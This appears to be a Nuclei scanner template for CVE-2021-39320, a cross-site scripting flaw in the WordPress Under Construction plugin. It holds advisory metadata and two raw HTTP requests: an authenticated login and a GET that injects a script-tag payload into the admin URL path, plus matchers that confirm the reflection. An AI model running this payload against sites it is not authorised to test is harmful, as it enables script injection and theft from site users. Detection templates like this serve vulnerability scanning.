WordPress Under Construction <1.19 - Cross-Site Scripting

id: CVE-2021-39320

info:
  name: WordPress Under Construction <1.19 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.
  impact: |
    The vulnerability allows an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39320
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39320
    cwe-id: CWE-79
    epss-score: 0.02335
    epss-percentile: 0.81523
    cpe: cpe:2.3:a:underconstruction_project:underconstruction:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: underconstruction_project
    product: underconstruction
    framework: wordpress
  tags: cve2021,cve,wp-plugin,wpscan,wordpress,wp,xss,authenticated,underconstruction_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
          - 'under-construction'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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